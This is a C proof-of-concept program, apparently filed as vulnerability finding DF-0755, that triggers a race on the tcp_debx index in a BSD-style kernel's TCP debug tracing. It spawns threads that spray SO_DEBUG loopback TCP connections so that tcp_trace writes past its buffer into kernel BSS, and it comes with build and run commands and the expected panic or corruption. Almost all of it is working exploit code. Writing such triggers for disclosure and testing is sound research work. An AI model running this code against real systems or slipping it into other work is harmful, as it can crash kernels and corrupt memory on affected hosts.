DF-0755 / tcp_oob_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-0755 - kernel-level trigger for the tcp_debx runaway. * * The vulnerable path (sys/netinet/tcp_debug.c:tcp_trace) is reached from * TCP input/output/drop/user/timer handling ONLY when the kernel was built * with `options TCPDEBUG` AND the socket has SO_DEBUG set (see * sys/netinet/tcp_usrreq.c:151-160 for the SO_DEBUG gating). On a stock * X86_64_GENERIC kernel this code is not compiled in (sys/conf/files:1830 makes * tcp_debug.c `optional tcpdebug`), so this trigger is a no-op there. * * On a kernel built with `options TCPDEBUG`, this program sprays concurrent * SO_DEBUG TCP connections across N threads. Each packet through the stack * calls tcp_trace() which races tcp_debx. Under enough concurrency the index * runs away and tcp_trace writes past tcp_debug[] into BSS -- typically * manifesting as a panic (INVARIANTS slab checks, page fault in BSS, or * corruption of an adjacent global) rather than a clean exploitable write. * * Build: cc -O2 -pthread -o tcp_oob_trigger tcp_oob_trigger.c * Run: ./tcp_oob_trigger [nthreads] [iterations] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> static int debug_so = 1; static volatile int stop = 0; static void * pump_loopback(void *arg) { long tid = (long)arg; struct sockaddr_in sin; memset(&sin, 0, sizeof sin); sin.sin_family = AF_INET; sin.sin_len = sizeof sin; inet_pton(AF_INET, "127.0.0.1", &sin.sin_addr); for (int i = 0; !stop; i++) { /* each iteration creates a fresh TCP socket, sets SO_DEBUG, * connects to a (likely-refused) port, sends a byte. Every * segment transiting the stack on a TCPDEBUG kernel calls * tcp_trace(TA_OUTPUT/TA_INPUT/TA_DROP,...) which races * tcp_debx globally. */ int s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { continue; } (void)setsockopt(s, SOL_SOCKET, SO_DEBUG, &debug_so, sizeof debug_so); /* port chosen to vary so we hit different pcb lookup paths */ sin.sin_port = htons(10000 + ((tid + i) & 0x3fff)); /* non-fatal if refused; the SYN/SYN-ACK/RST still gets traced */ (void)connect(s, (struct sockaddr *)&sin, sizeof sin); char b = 'x'; (void)write(s, &b, 1); usleep(50); close(s); } return NULL; } int main(int argc, char **argv) { int nthread = (argc > 1) ? atoi(argv[1]) : 8; int dur = (argc > 2) ? atoi(argv[2]) : 20; /* seconds */ /* also start a tiny acceptor on 127.0.0.1:10000 to generate full * handshakes (more traced segments) */ int ls = socket(AF_INET, SOCK_STREAM, 0); int one = 1; struct sockaddr_in la; memset(&la, 0, sizeof la); la.sin_family = AF_INET; la.sin_len = sizeof la; la.sin_addr.s_addr = htonl(INADDR_LOOPBACK); la.sin_port = htons(10000); (void)setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one); if (bind(ls, (struct sockaddr *)&la, sizeof la) == 0) { listen(ls, 64); if (fork() == 0) { for (;;) { int a = accept(ls, NULL, NULL); if (a>=0) { char b; (void)read(a,&b,1); close(a);} } _exit(0); } } pthread_t *th = calloc(nthread, sizeof *th); for (long i = 0; i < nthread; i++) pthread_create(&th[i], NULL, pump_loopback, (void *)i); printf("DF-0755: spraying %d threads x SO_DEBUG TCP for %ds on TCPDEBUG kernel...\n", nthread, dur); sleep(dur); stop = 1; for (int i = 0; i < nthread; i++) pthread_join(th[i], NULL); printf("DF-0755: pump done. If kernel is still up and was built with\n" " options TCPDEBUG, tcp_debx likely raced OOB; check dmesg /\n" " panic signature for BSS corruption / INVARIANTS slab trip.\n"); return 0; } |